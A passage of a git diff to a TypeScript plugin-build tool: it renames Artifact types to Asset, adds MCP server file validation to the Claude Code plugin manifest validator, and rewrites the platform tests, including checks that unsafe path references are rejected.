pluginRoot Plugin 相对于 Distribution 根的无前导点路径。 - * @returns 去掉 Plugin 根前缀后的 Artifact 路径集合。 + * @returns 去掉 Plugin 根前缀后的 Asset 路径集合。 */ -function scopedArtifacts(context: PlatformValidateContext, pluginRoot: string): ReadonlySet { +function scopedAssets(context: PlatformValidateContext, pluginRoot: string): ReadonlySet { /** 根 Plugin 不需要过滤或裁剪路径。 */ if (pluginRoot === '') - return new Set(context.candidate.unit.artifacts.map(artifact => artifact.path)); - /** 嵌套 Plugin 全部 Artifact 共同使用的固定目录前缀。 */ + return new Set(context.candidate.unit.assets.map(asset => asset.path)); + /** 嵌套 Plugin 全部 Asset 共同使用的固定目录前缀。 */ const prefix = `${pluginRoot}/`; - return new Set(context.candidate.unit.artifacts - .filter(artifact => artifact.path.startsWith(prefix)) - .map(artifact => artifact.path.slice(prefix.length))); + return new Set(context.candidate.unit.assets + .filter(asset => asset.path.startsWith(prefix)) + .map(asset => asset.path.slice(prefix.length))); } /** * 校验一个清单引用值的类型、安全性和安装根内存在性。 * - * @param context Platform validateBundle 生命周期上下文。 - * @param artifacts 当前 DeliveryUnit 的 Artifact 路径集合。 + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Package 的 Asset 路径集合。 * @param field 当前引用所属的清单字段。 * @param value 单路径或路径数组候选。 */ function validateReferences( context: PlatformValidateContext, - artifacts: ReadonlySet, + assets: ReadonlySet, field: string, value: JsonValue, ): void { @@ -484,7 +610,7 @@ function validateReferences( const fieldPath: readonly (string | number)[] = references.length === 1 ? [field] : [field, index]; if (!isSafePluginReference(reference)) { report(context, 'CLAUDE_MANIFEST_REFERENCE_UNSAFE', `${field} references must start with ./ and stay inside the Plugin root.`, fieldPath); - } else if (!referenceExists(artifacts, reference)) { + } else if (!referenceExists(assets, reference)) { report(context, 'CLAUDE_MANIFEST_REFERENCE_MISSING', `${field} references a missing Plugin file or directory.`, fieldPath); } } @@ -493,7 +619,7 @@ function validateReferences( /** * 校验 Claude Code Plugin 清单字段、Component 目录和 Extension 引用。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param manifest 已解析的 Plugin 清单对象。 * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 */ @@ -502,8 +628,8 @@ async function validatePluginManifest( manifest: JsonRecord, pluginRoot = '', ): Promise { - /** 当前 Plugin 安装根内的相对 Artifact 路径集合。 */ - const artifacts = scopedArtifacts(context, pluginRoot); + /** 当前 Plugin 安装根内的相对 Asset 路径集合。 */ + const assets = scopedAssets(context, pluginRoot); for (const field of Object.keys(manifest)) { if (!PLUGIN_FIELDS.has(field)) report(context, 'CLAUDE_MANIFEST_FIELD_UNKNOWN', `Unknown Claude Code Plugin field "${field}".`, [field]); @@ -546,7 +672,7 @@ async function validatePluginManifest( report(context, 'CLAUDE_MANIFEST_DEFAULT_INVALID', 'defaultEnabled must be a boolean.', ['defaultEnabled']); for (const field of COMPONENT_REFERENCE_FIELDS) { if (manifest[field] !== undefined) - validateReferences(context, artifacts, field, manifest[field]); + validateReferences(context, assets, field, manifest[field]); } for (const field of EXTENSION_REFERENCE_FIELDS) { /** 当前 Extension 添加的清单字段值。 */ @@ -554,23 +680,30 @@ async function validatePluginManifest( if (value === undefined) continue; if (typeof value === 'string') { - validateReferences(context, artifacts, field, value); - if (field === 'hooks' && isSafePluginReference(value) && referenceExists(artifacts, value)) + validateReferences(context, assets, field, value); + if (field === 'hooks' && isSafePluginReference(value) && referenceExists(assets, value)) await validateHookFile(context, pluginRoot, value, [field]); + if (field === 'mcpServers' && isSafePluginReference(value) && referenceExists(assets, value)) + await validateMcpFile(context, pluginRoot, value, [field]); } else if (!isRecord(value)) { report(context, 'CLAUDE_EXTENSION_FIELD_INVALID', `${field} must be a Plugin path or inline object.`, [field]); } else if (field === 'hooks') { validateHookConfig(context, value, [field], false); + } else { + validateMcpServers(context, value, [field]); } } - if (manifest.hooks === undefined && artifacts.has('hooks/hooks.json')) + if (manifest.hooks === undefined && assets.has('hooks/hooks.json')) await validateHookFile(context, pluginRoot, './hooks/hooks.json', ['hooks']); + /** Claude Code 会自动发现 Plugin 根 `.mcp.json`,即使 Manifest 未显式引用。 */ + if (manifest.mcpServers === undefined && assets.has('.mcp.json')) + await validateMcpFile(context, pluginRoot, './.mcp.json', ['mcpServers']); } /** * 校验 Marketplace 根清单与自包含 Plugin 的身份和引用。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param marketplace 已解析的 Marketplace 清单。 */ async function validateMarketplace( @@ -663,7 +796,7 @@ async function validateMarketplace( * * @param context Core 已安全物化的只读候选上下文。 */ -export async function validateClaudeBundle(context: PlatformValidateContext): Promise { +export async function validateClaudePackage(context: PlatformValidateContext): Promise { if (context.candidate.unit.role !== 'distribution') { /** 主单元始终使用安装根固定 Plugin Manifest。 */ const plugin = await readJson(context, PLUGIN_MANIFEST_PATH); diff --git a/packages/platforms/claude-code/test/platform.test.ts b/packages/platforms/claude-code/test/platform.test.ts index 92d08d6..143993d 100644 --- a/packages/platforms/claude-code/test/platform.test.ts +++ b/packages/platforms/claude-code/test/platform.test.ts @@ -3,50 +3,36 @@ import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; import { - bytesArtifact, - defineExtension, - DeliveryUnitRegistry, - executeLifecycle, - resolveConfig, - stableJson, - withMaterializedDeliveryUnitCandidate, - type AcpluginExtension, - type BuildCommand, - type DiagnosticInput, - type PlatformDistributionContext, - type ResolvedConfig, + resolveKernelConfig, + runKernelBuildSession, + type ConfigCommand, } from '@acplugin/core'; +import { defineExtension, type AcpluginExtension } from '@tokenroll/acplugin/sdk'; import { claudeCode } from '../src/index.js'; import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from '../src/manifest.js'; -/** 测试结束后统一删除的临时工程根目录。 */ +/** 测试结束后统一删除的临时工程根。 */ const temporaryRoots: string[] = []; /** Golden 文件相对于当前测试模块的固定目录。 */ const goldenRoot = path.join(import.meta.dirname, 'golden'); -/** - * 创建已登记自动清理的空临时工程。 - * - * @returns 新建工程的绝对路径。 - */ +/** 创建带最小配置占位符且会自动清理的临时工程。 */ async function temporaryProject(): Promise { - /** 当前测试独占且不会与并行用例冲突的工程根。 */ + /** root 是当前测试独占的工程根。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-claude-platform-')); temporaryRoots.push(root); await fs.mkdir(path.join(root, 'src'), { recursive: true }); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), 'export default {}\n'); return root; } -/** - * 写入覆盖 Command、Skill、Agent、辅助文件和 Public 的规范工程。 - * - * @param root 当前测试独占的工程根目录。 - */ +/** 写入覆盖 canonical Component、Public 与内建 Runtime 的完整工程。 */ async function writeCompleteProject(root: string): Promise { await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); await fs.mkdir(path.join(root, 'src/skills/review/references'), { recursive: true }); await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/runtime'), { recursive: true }); await fs.mkdir(path.join(root, 'public/shared'), { recursive: true }); await fs.writeFile(path.join(root, 'src/commands/release.md'), `--- description: Prepare a release. @@ -98,26 +84,22 @@ platforms: --- Review code and report findings. `); + await fs.writeFile(path.join(root, 'src/runtime/cli.ts'), 'process.stdout.write("runtime-ready\\n");\n'); await fs.writeFile(path.join(root, 'public/shared/logo.bin'), Buffer.from([0, 1, 2, 255])); } -/** - * 解析测试使用的完整 Core 配置。 - * - * @param root 当前测试工程根目录。 - * @param command 生命周期命令。 - * @param platform 当前用例使用的 Claude Code Platform。 - * @param extensions 可选的横向 Extension 列表。 - * @returns 无配置诊断的完整 ResolvedConfig。 - */ -function resolvedConfig( - root: string, - command: BuildCommand, - platform: ReturnType, - extensions: readonly AcpluginExtension[] = [], -): ResolvedConfig { - /** 通过公开配置解析器建立的测试配置结果。 */ - const result = resolveConfig({ +/** 执行一次只包含 Claude Code 的真实 Kernel v2 BuildSession。 */ +async function run(input: { + readonly root: string; + readonly command?: ConfigCommand; + readonly platform?: ReturnType; + readonly extensions?: readonly AcpluginExtension[]; + readonly commit?: boolean; +}) { + /** command 同时控制报告语义,commit 只在 build 时实际生效。 */ + const command = input.command ?? 'build'; + /** resolved 使用与公开 Project API 相同的严格配置边界。 */ + const resolved = resolveKernelConfig({ name: 'release-tools', version: '1.2.3', description: 'Release workflow tools.', @@ -127,250 +109,193 @@ function resolvedConfig( repository: 'https://github.com/TokenRollAI/release-tools', license: 'MIT', keywords: ['release', 'review'], - platforms: [platform], - extensions, + platforms: [input.platform ?? claudeCode()], + extensions: input.extensions ?? [], build: { outDir: 'dist', strict: true }, - }, path.join(root, 'acplugin.config.ts'), command, 'production'); - expect(result.diagnostics).toEqual([]); - return result.config!; -} - -/** - * 执行一次完整 Claude Code Platform 生命周期。 - * - * @param config 已解析且只包含当前 Platform 的配置。 - * @returns Core 的稳定 BuildResult。 - */ -async function run(config: ResolvedConfig) { - return executeLifecycle({ - config, - /** 当前 Platform Fixture 不加载作者 TypeScript 模块。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, + }, { + projectRoot: input.root, + configFile: path.join(input.root, 'acplugin.config.ts'), + command, + mode: 'production', }); + expect(resolved.diagnostics).toEqual([]); + return (await runKernelBuildSession({ + config: resolved.config!, + frameworkVersion: 'test', + commit: command === 'build' && (input.commit ?? true), + })).report; } -/** - * 读取 Golden 文本并与实际产物进行字节级比较。 - * - * @param actual 当前构建输出文件的绝对路径。 - * @param golden Golden 文件相对于 test/golden 的路径。 - */ +/** 对比构建结果和仓库内确定性 Golden 字节。 */ async function expectGolden(actual: string, golden: string): Promise { - /** 当前仓库固定保存的期望文本。 */ - const expected = await fs.readFile(path.join(goldenRoot, golden)); - /** 当前 Platform 构建产生的实际字节。 */ - const received = await fs.readFile(actual); - expect(received).toEqual(expected); + await expect(fs.readFile(actual)).resolves.toEqual(await fs.readFile(path.join(goldenRoot, golden))); +} + +/** 创建通过 add-only Package Contribution 注入最终清单字段的测试 Extension。 */ +function wireExtension(input: { + readonly id: string; + readonly field?: 'hooks' | 'mcpServers'; + readonly value?: string; + readonly path?: string; + readonly bytes?: string; +}): AcpluginExtension { + return defineExtension({ + id: input.id, + apiVersion: '1', + resourceRoots: [], + /** 测试 Session 最小实现 discover/validate/build/contribute 四段契约。 */ + createSession: () => ({ + /** 空对象足以标记当前 Fixture 本轮已发现。 */ + discover: () => ({}), + /** 每个 Fixture 声明一个必须由 Contributor 完整覆盖的 tuple。 */ + validate: (_context, discovered) => ({ + state: discovered, + subjects: [{ subject: `fixture:${input.id}`, capabilities: ['delivery'] }], + }), + /** 需要文件时只通过 owner-scoped AssetService 创建字节。 */ + async build({ assets }, validated) { + /** asset 只在当前 Extension owner scope 中签发。 */ + const asset = input.path === undefined + ? undefined + : await assets.fromBytes({ + bytes: input.bytes ?? '{}\n', + origin: { operation: 'wire-fixture', subjects: [`fixture:${input.id}`] }, + }); + return { state: { validated, ...(asset === undefined ? {} : { asset }) } }; + }, + contributors: [{ + platform: 'claude-code', + platformApiVersion: '1', + /** Contributor 只占用一个声明点并可追加自己的 Asset。 */ + contribute: (_context, built) => ({ + ...(input.field === undefined || input.value === undefined + ? {} + : { documentFields: [{ document: 'plugin-manifest', path: [input.field], value: input.value }] }), + ...(built.asset === undefined ? {} : { assets: [{ path: input.path!, asset: built.asset }] }), + compatibility: [{ + subject: `fixture:${input.id}`, + capability: 'delivery', + level: 'native', + reason: 'The fixture is delivered through a declared Claude Code extension point.', + }], + }), + }], + }), + }); } afterEach(async () => { await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); }); -describe('Claude Code Platform', () => { - it('builds Commands, Skills, Agents, Public, and metadata as a native Plugin golden', async () => { - /** 包含全部 Core Component 的临时工程。 */ +describe('Claude Code Platform Package API', () => { + it('builds native Components, Public, Core Runtime, metadata, and deterministic Documents', async () => { + /** root 承载当前完整能力测试的隔离工程。 */ const root = await temporaryProject(); await writeCompleteProject(root); - /** 使用主 Plugin 模式完成的生命周期结果。 */ - const result = await run(resolvedConfig(root, 'build', claudeCode({ defaultEnabled: false }))); - /** Claude Code 主 Plugin 的最终输出根。 */ + /** report 来自真实 build 与受管事务提交。 */ + const report = await run({ root, platform: claudeCode({ defaultEnabled: false }) }); + /** output 是事务提交后的主 Plugin 根。 */ const output = path.join(root, 'dist/claude-code/plugin'); - expect(result.success).toBe(true); - expect(result.committed).toBe(true); - expect(result.deliveryUnits).toHaveLength(1); - expect(result.compatibility).toEqual(expect.arrayContaining([ - expect.objectContaining({ subject: 'command:release', level: 'native' }), - expect.objectContaining({ subject: 'skill:review', level: 'native' }), - expect.objectContaining({ subject: 'agent:reviewer', level: 'native' }), + expect(report.success, JSON.stringify(report.diagnostics, null, 2)).toBe(true); + expect(report.committed).toBe(true); + expect(report.packages).toHaveLength(1); + expect(report.compatibility).toEqual(expect.arrayContaining([ + expect.objectContaining({ subject: 'command:release', capability: 'component', level: 'native' }), + expect.objectContaining({ subject: 'skill:review', capability: 'component', level: 'native' }), + expect.objectContaining({ subject: 'agent:reviewer', capability: 'component', level: 'native' }), + expect.objectContaining({ subject: 'runtime:cli', capability: 'node20-esm', level: 'native' }), ])); - expect(result.metadata).toContainEqual(expect.objectContaining({ - field: 'displayName', disposition: 'emitted', - })); - await expectGolden(path.join(output, '.claude-plugin/plugin.json'), '.claude-plugin/plugin.json'); + expect(report.metadata).toContainEqual(expect.objectContaining({ field: 'author.email', disposition: 'emitted' })); + await expectGolden(path.join(output, PLUGIN_MANIFEST_PATH), PLUGIN_MANIFEST_PATH); await expectGolden(path.join(output, 'commands/release.md'), 'commands/release.md'); await expectGolden(path.join(output, 'skills/review/SKILL.md'), 'skills/review/SKILL.md'); await expectGolden(path.join(output, 'agents/reviewer.md'), 'agents/reviewer.md'); - expect(await fs.readFile(path.join(output, 'skills/review/references/checklist.md'), 'utf8')).toBe('Review checklist.\n'); - expect(await fs.readFile(path.join(output, 'shared/logo.bin'))).toEqual(Buffer.from([0, 1, 2, 255])); + await expect(fs.readFile(path.join(output, 'skills/review/references/checklist.md'), 'utf8')).resolves.toBe('Review checklist.\n'); + await expect(fs.readFile(path.join(output, 'shared/logo.bin'))).resolves.toEqual(Buffer.from([0, 1, 2, 255])); + await expect(fs.readFile(path.join(output, 'runtime/cli/main.mjs'), 'utf8')).resolves.toContain('runtime-ready'); + expect(report.packages[0]?.assets.find(asset => asset.path === 'runtime/cli/main.mjs')).toMatchObject({ + owner: 'framework:node-runtime', mode: 0o755, origin: { type: 'compile', profile: 'portable-node' }, + }); }); - it('lets independent Hooks and MCP Adapters use only declared add-only extension points', async () => { - /** 只需要基础 Plugin Manifest 的空工程。 */ + it('lets independent Extensions add only declared Hooks and MCP fields and Assets', async () => { + /** root 不含 canonical Component,只验证两个 add-only extension points。 */ const root = await temporaryProject(); - /** 模拟后续官方 Extension 包所使用的两个 Adapter。 */ - const extension = defineExtension({ - name: 'claude-extension-fixture', - apiVersion: '1', - /** discover 返回资源以触发 Adapter 生命周期。 */ - discover: () => ({ enabled: true }), - /** build 透传当前 Fixture 的平台中立状态。 */ - build: (_context, discovered) => discovered, - adapters: [{ - extensionApiVersion: '1', - platform: claudeCode().id, - platformApiVersion: '1', - /** apply 只通过公开 Context 新增两个字段和对应 Artifact。 */ - apply(context) { - context.patchDocument({ document: 'plugin-manifest', path: ['hooks'], value: './hooks/hooks.json' }); - context.patchDocument({ document: 'plugin-manifest', path: ['mcpServers'], value: './.mcp.json' }); - context.emitArtifact(bytesArtifact('hooks/hooks.json', '{"hooks":{}}\n')); - context.emitArtifact(bytesArtifact('.mcp.json', '{"mcpServers":{}}\n')); - }, - }], + /** hooks 独占 hooks 字段和对应配置文件。 */ + const hooks = wireExtension({ + id: 'hooks-fixture', field: 'hooks', value: './hooks/hooks.json', path: 'hooks/hooks.json', + bytes: '{"hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"node runner.mjs"}]}]}}\n', }); - /** 完成 Adapter 合并和最终引用校验的生命周期结果。 */ - const result = await run(resolvedConfig(root, 'build', claudeCode(), [extension])); - /** 最终 Plugin 清单中的 Extension 字段。 */ - const manifest = JSON.parse(await fs.readFile(path.join(root, 'dist/claude-code/plugin/.claude-plugin/plugin.json'), 'utf8')); + /** mcp 独占 mcpServers 字段和对应配置文件。 */ + const mcp = wireExtension({ + id: 'mcp-fixture', field: 'mcpServers', value: './.mcp.json', path: '.mcp.json', + bytes: '{"mcpServers":{}}\n', + }); + /** report 必须同时保留两个 Extension 的真实 Asset owner。 */ + const report = await run({ root, extensions: [hooks, mcp] }); + /** manifest 是经过 Core 集中 contribution 合并后序列化的 Document。 */ + const manifest = JSON.parse(await fs.readFile(path.join(root, 'dist/claude-code/plugin', PLUGIN_MANIFEST_PATH), 'utf8')); - expect(result.success).toBe(true); + expect(report.success, JSON.stringify(report.diagnostics, null, 2)).toBe(true); expect(manifest).toMatchObject({ hooks: './hooks/hooks.json', mcpServers: './.mcp.json' }); - expect(result.deliveryUnits[0]?.artifacts).toEqual(expect.arrayContaining([ - expect.objectContaining({ path: 'hooks/hooks.json', owner: 'extension:claude-extension-fixture' }), - expect.objectContaining({ path: '.mcp.json', owner: 'extension:claude-extension-fixture' }), + expect(report.packages[0]?.assets).toEqual(expect.arrayContaining([ + expect.objectContaining({ path: 'hooks/hooks.json', owner: 'extension:hooks-fixture' }), + expect.objectContaining({ path: '.mcp.json', owner: 'extension:mcp-fixture' }), ])); }); - it('creates an inferred self-contained Marketplace and remains byte deterministic', async () => { - /** 包含全部主 Plugin 内容的 Marketplace Fixture。 */ + it('creates a self-contained Marketplace by inheriting validated primary AssetRefs byte-for-byte', async () => { + /** root 提供足够多的 Asset 类型验证完整继承。 */ const root = await temporaryProject(); await writeCompleteProject(root); - /** 空选项要求 Platform 从统一元数据推导 Marketplace。 */ + /** platform 开启唯一可选 Distribution。 */ const platform = claudeCode({ marketplace: {} }); - /** 第一次完整构建的生命周期结果。 */ - const first = await run(resolvedConfig(root, 'build', platform)); - /** Marketplace Distribution 的最终输出根。 */ + /** first 用于建立确定性报告和字节基线。 */ + const first = await run({ root, platform }); + /** firstDistribution 保存首次构建的完整分发报告。 */ + const firstDistribution = first.packages.find(unit => unit.id === 'marketplace')!; + /** primary 与 distribution 使用相同 AssetRef,因此报告 hash/origin 必须一致。 */ + const primary = first.packages.find(unit => unit.id === 'plugin')!; + /** second 使用相同输入验证完整事务替换不改变字节。 */ + const second = await run({ root, platform }); + /** marketplaceRoot 是第二次原子替换后的最终分发目录。 */ const marketplaceRoot = path.join(root, 'dist/claude-code/marketplace'); - /** 第一次构建后按路径保存的 Artifact 字节快照。 */ - const firstBytes = new Map(); - for (const artifact of first.deliveryUnits.find(unit => unit.id === 'marketplace')!.artifacts) - firstBytes.set(artifact.path, await fs.readFile(path.join(marketplaceRoot, artifact.path))); - /** 第二次使用相同输入覆盖完整 outDir 的生命周期结果。 */ - const second = await run(resolvedConfig(root, 'build', platform)); - - expect(first.success).toBe(true); - expect(second.success).toBe(true); - expect(first.deliveryUnits.map(unit => `${unit.role}:${unit.id}`)).toEqual(['distribution:marketplace', 'primary:plugin']); - await expectGolden(path.join(marketplaceRoot, '.claude-plugin/marketplace.json'), '.claude-plugin/marketplace.json'); - for (const [artifactPath, bytes] of firstBytes) - expect(await fs.readFile(path.join(marketplaceRoot, artifactPath))).toEqual(bytes); - expect(await fs.readFile(path.join(marketplaceRoot, '.claude-plugin/plugin.json'))) - .toEqual(await fs.readFile(path.join(root, 'dist/claude-code/plugin/.claude-plugin/plugin.json'))); - }); - it('combines multiple validated primary Plugins into stable Marketplace subdirectories', async () => { - /** 多主单元测试使用的临时物化工作目录。 */ - const root = await temporaryProject(); - /** 暴露 Marketplace Distribution Hook 的 Claude Code Platform。 */ - const platform = claudeCode({ marketplace: {} }); - /** 使用真实 Core Registry 创建带完整 owner/hash 的主单元。 */ - const units = new DeliveryUnitRegistry(new Map()); - /** 输入顺序故意与 ID 排序相反的第二个 Plugin。 */ - const beta = await units.add(platform.id, { - id: 'plugin-b', role: 'primary', type: 'plugin', - artifacts: [bytesArtifact(PLUGIN_MANIFEST_PATH, stableJson({ - name: 'beta-tools', version: '2.0.0', description: 'Beta tools.', - }))], - }); - /** 排序后应出现在 Marketplace 第一项的 Plugin。 */ - const alpha = await units.add(platform.id, { - id: 'plugin-a', role: 'primary', type: 'plugin', - artifacts: [ - bytesArtifact(PLUGIN_MANIFEST_PATH, stableJson({ - name: 'alpha-tools', version: '1.0.0', description: 'Alpha tools.', - })), - bytesArtifact('assets/readme.txt', 'alpha asset'), - ], - }); - /** Distribution 与最终 Validator 共同产生的结构化诊断。 */ - const diagnostics: DiagnosticInput[] = []; - /** 模拟未来 Monorepo 编排器提供的 Marketplace 根上下文。 */ - const context: PlatformDistributionContext = { - command: 'build', - mode: 'production', - project: { - root, - metadata: { name: 'tool-catalog', version: '1.0.0', description: 'Tool catalog.' }, - commands: [], skills: [], agents: [], publicFiles: [], - }, - options: platform.options ?? {}, - workDir: root, - /** 收集 Distribution 生成阶段的结构化诊断。 */ - reportDiagnostic: diagnostic => diagnostics.push(diagnostic), - }; - /** Platform 必须直接接受数组,无需未来重写 Marketplace Builder。 */ - const distributionInputs = await platform.generateDistributions!(context, [beta, alpha]); - /** 使用两个主单元的继承边界注册最终 Distribution。 */ - const distribution = await units.add( - platform.id, - distributionInputs[0]!, - [...alpha.artifacts, ...beta.artifacts], + expect(first.success, JSON.stringify(first.diagnostics, null, 2)).toBe(true); + expect(second.success, JSON.stringify(second.diagnostics, null, 2)).toBe(true); + await expectGolden(path.join(marketplaceRoot, MARKETPLACE_MANIFEST_PATH), MARKETPLACE_MANIFEST_PATH); + await expect(fs.readFile(path.join(marketplaceRoot, PLUGIN_MANIFEST_PATH))).resolves.toEqual( + await fs.readFile(path.join(root, 'dist/claude-code/plugin', PLUGIN_MANIFEST_PATH)), ); - await withMaterializedDeliveryUnitCandidate(distribution, candidate => platform.validateBundle({ - command: 'build', mode: 'production', candidate, - /** 收集最终候选 Validator 的结构化诊断。 */ - reportDiagnostic: diagnostic => diagnostics.push(diagnostic), - }), root); - /** 解析最终 Marketplace 清单以验证稳定条目顺序和本地来源。 */ - const marketplaceArtifact = distribution.artifacts.find(artifact => artifact.path === MARKETPLACE_MANIFEST_PATH)!; - /** Marketplace 清单由 Platform 生成,因此固定为内存字节来源。 */ - const marketplace = JSON.parse(new TextDecoder().decode( - marketplaceArtifact.source.type === 'bytes' ? marketplaceArtifact.source.value : new Uint8Array(), - )); - - expect(diagnostics).toEqual([]); - expect(marketplace.plugins.map((plugin: { name: string; source: string }) => [plugin.name, plugin.source])).toEqual([ - ['alpha-tools', './plugins/plugin-a'], - ['beta-tools', './plugins/plugin-b'], - ]); - expect(distribution.artifacts).toEqual(expect.arrayContaining([ - expect.objectContaining({ path: 'plugins/plugin-a/.claude-plugin/plugin.json' }), - expect.objectContaining({ path: 'plugins/plugin-a/assets/readme.txt' }), - expect.objectContaining({ path: 'plugins/plugin-b/.claude-plugin/plugin.json' }), - ])); + for (const source of primary.assets) { + expect(firstDistribution.assets.find(asset => asset.path === source.path)).toMatchObject({ + owner: source.owner, mode: source.mode, sha256: source.sha256, origin: source.origin, + }); + } + expect(second.packages.find(unit => unit.id === 'marketplace')?.assets).toEqual(firstDistribution.assets); }); - it('requires both search and network capabilities before granting WebSearch', async () => { - /** 包含三种能力组合的 Agent 工程。 */ + it('maps WebSearch only when portable Agent capabilities include search and network', async () => { + /** root 包含三种能力组合以验证组合授权规则。 */ const root = await temporaryProject(); await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/agents/search-only.md'), `--- -description: Search local files. -capabilities: - - search ---- -Search local files. -`); - await fs.writeFile(path.join(root, 'src/agents/network-only.md'), `--- -description: Fetch remote content. -capabilities: - - network ---- -Fetch remote content. -`); - await fs.writeFile(path.join(root, 'src/agents/web-search.md'), `--- -description: Search the web. -capabilities: - - search - - network ---- -Search the web. -`); - /** 完成能力到 Claude 工具约束映射的构建结果。 */ - const result = await run(resolvedConfig(root, 'build', claudeCode())); - /** 三个 Agent 共用的最终输出目录。 */ + await fs.writeFile(path.join(root, 'src/agents/search-only.md'), '---\ndescription: Search local files.\ncapabilities: [search]\n---\nSearch.\n'); + await fs.writeFile(path.join(root, 'src/agents/network-only.md'), '---\ndescription: Fetch remote content.\ncapabilities: [network]\n---\nFetch.\n'); + await fs.writeFile(path.join(root, 'src/agents/web-search.md'), '---\ndescription: Search the web.\ncapabilities: [search, network]\n---\nSearch.\n'); + /** report 确认三项 Agent 都完成 native 交付。 */ + const report = await run({ root }); + /** agentsRoot 包含三个能力组合的原生 Agent 文档。 */ const agentsRoot = path.join(root, 'dist/claude-code/plugin/agents'); - /** 只有本地检索能力的 Agent Frontmatter。 */ + /** searchOnly 不应仅凭本地检索能力得到 WebSearch。 */ const searchOnly = await fs.readFile(path.join(agentsRoot, 'search-only.md'), 'utf8'); - /** 只有联网读取能力的 Agent Frontmatter。 */ + /** networkOnly 不应仅凭联网读取能力得到 WebSearch。 */ const networkOnly = await fs.readFile(path.join(agentsRoot, 'network-only.md'), 'utf8'); - /** 同时具有检索和联网能力的 Agent Frontmatter。 */ + /** webSearch 同时具备两个必要 capability。 */ const webSearch = await fs.readFile(path.join(agentsRoot, 'web-search.md'), 'utf8'); - expect(result.success).toBe(true); + expect(report.success).toBe(true); expect(searchOnly).toContain('tools: Glob, Grep'); expect(searchOnly).not.toContain('WebSearch'); expect(networkOnly).toContain('tools: WebFetch'); @@ -378,8 +303,8 @@ Search the web. expect(webSearch).toContain('tools: Glob, Grep, WebFetch, WebSearch'); }); - it('rejects invalid Component fields and unsafe Extension references with stable diagnostics', async () => { - /** 包含未知 Claude Code Command 字段的工程。 */ + it('rejects invalid Component namespaces before Package creation', async () => { + /** root 中的未知字段必须在 canonical validation 阶段失败。 */ const root = await temporaryProject(); await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); await fs.writeFile(path.join(root, 'src/commands/unsafe.md'), `--- @@ -390,165 +315,94 @@ platforms: --- Do work. `); - /** Scanner 阶段应拒绝未知平台字段的生命周期结果。 */ - const invalidFields = await run(resolvedConfig(root, 'validate', claudeCode())); + /** report 不应包含任何已建立的 Package。 */ + const report = await run({ root, command: 'validate', commit: false }); - expect(invalidFields.success).toBe(false); - expect(invalidFields.diagnostics).toContainEqual(expect.objectContaining({ + expect(report.success).toBe(false); + expect(report.packages).toEqual([]); + expect(report.diagnostics).toContainEqual(expect.objectContaining({ code: 'CLAUDE_COMPONENT_FIELD_UNKNOWN', fieldPath: ['platforms', 'claude-code', 'rawFrontmatter'], })); + }); - await fs.rm(path.join(root, 'src/commands'), { recursive: true }); - /** 尝试让 Manifest 引用安装根外路径的恶意 Adapter。 */ - const unsafeExtension = defineExtension({ - name: 'unsafe-reference', - apiVersion: '1', - /** discover 返回资源以确保不安全 Adapter 会进入当前 Platform。 */ - discover: () => true, - adapters: [{ - extensionApiVersion: '1', - platform: claudeCode().id, - platformApiVersion: '1', - /** apply 注入应被 Platform 最终 Validator 拒绝的路径。 */ - apply(context) { - context.patchDocument({ document: 'plugin-manifest', path: ['mcpServers'], value: '../outside.json' }); - }, - }], + it('rejects unsafe Extension references and invalid Hook wire data at the final candidate boundary', async () => { + /** unsafeRoot 验证路径逃逸不会越过最终候选校验。 */ + const unsafeRoot = await temporaryProject(); + /** unsafe 只贡献恶意引用,不创建逃逸目标。 */ + const unsafe = await run({ + root: unsafeRoot, + command: 'validate', + extensions: [wireExtension({ id: 'unsafe-reference', field: 'mcpServers', value: '../outside.json' })], + commit: false, }); - /** 已进入最终候选 Validator 的不安全引用结果。 */ - const unsafeReference = await run(resolvedConfig(root, 'validate', claudeCode(), [unsafeExtension])); - - expect(unsafeReference.success).toBe(false); - expect(unsafeReference.deliveryUnits).toEqual([]); - expect(unsafeReference.diagnostics).toContainEqual(expect.objectContaining({ - code: 'CLAUDE_MANIFEST_REFERENCE_UNSAFE', fieldPath: ['mcpServers'], + expect(unsafe.success).toBe(false); + expect(unsafe.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CLAUDE_MANIFEST_REFERENCE_UNSAFE', fieldPath: ['mcpServers'], phase: 'platform-validate', })); - }); - it('validates referenced Hook configuration at the final Platform boundary', async () => { - /** 不含 Core Component、只由恶意 Extension 注入 Hook 配置的工程。 */ - const root = await temporaryProject(); - /** 模拟绕过正式 Hooks Extension 并贡献无效 command Handler 的第三方 Adapter。 */ - const extension = defineExtension({ - name: 'invalid-claude-hooks', - apiVersion: '1', - /** discover 返回资源以触发 Adapter。 */ - discover: () => true, - adapters: [{ - extensionApiVersion: '1', - platform: claudeCode().id, - platformApiVersion: '1', - /** apply 只能贡献候选,最终是否符合 Claude Code 协议由 Platform 决定。 */ - apply(context) { - context.patchDocument({ document: 'plugin-manifest', path: ['hooks'], value: './hooks/hooks.json' }); - context.emitArtifact(bytesArtifact('hooks/hooks.json', stableJson({ - hooks: { - PreToolUse: [{ matcher: '[', hooks: [{ type: 'command', command: '' }] }], - SessionStart: [{ hooks: [{ type: 'prompt', prompt: 'Unsupported here.' }] }], - }, - }))); - }, - }], + /** hookRoot 独立验证已存在文件的 wire schema。 */ + const hookRoot = await temporaryProject(); + /** invalidHook 缺少 command handler 的必填 command。 */ + const invalidHook = await run({ + root: hookRoot, + command: 'validate', + extensions: [wireExtension({ + id: 'invalid-hook', field: 'hooks', value: './hooks/hooks.json', path: 'hooks/hooks.json', + bytes: 